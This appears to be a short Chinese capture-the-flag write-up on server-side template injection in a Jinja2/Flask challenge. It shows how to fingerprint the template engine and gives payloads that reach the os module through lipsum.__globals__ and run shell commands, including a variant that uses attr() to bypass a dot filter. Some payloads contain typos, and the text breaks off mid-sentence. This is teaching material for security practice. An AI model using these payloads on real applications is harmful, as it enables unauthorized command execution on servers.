DASCTF八月挑战赛-Truman

jinja2与twig在处理数字与字符相乘时的不同,在jinja2中{{7*'7'}}会重复字符串,而在twig中无法使用{{7*'7'}}来进行字符串的重复

在本题测试框输入49可以发现输出了7个7,说明是jinja2模板

关于jinja2的一些payload构造知识:

lipusum:flask的一个方法,在其下的lipsum.__gloabals__含有os模块

popen函数:调用fork()产生子进程,并执行shell运行命令

{{lipsum.__globals__['os'].popen('ls').read()}}这样一个注入调用os模块,执行了ls命令并read读取

attr绕过点号:jinja2的attr()获取对象的属性,用attr绕过点号的语法例:

1
{{lipsum|attr('__globals__')|attr('__getitem__')('os')|attr('popen')('ls')|attr('read')()')}}

其中getitem是通过索引获取对象的方法,相当于[],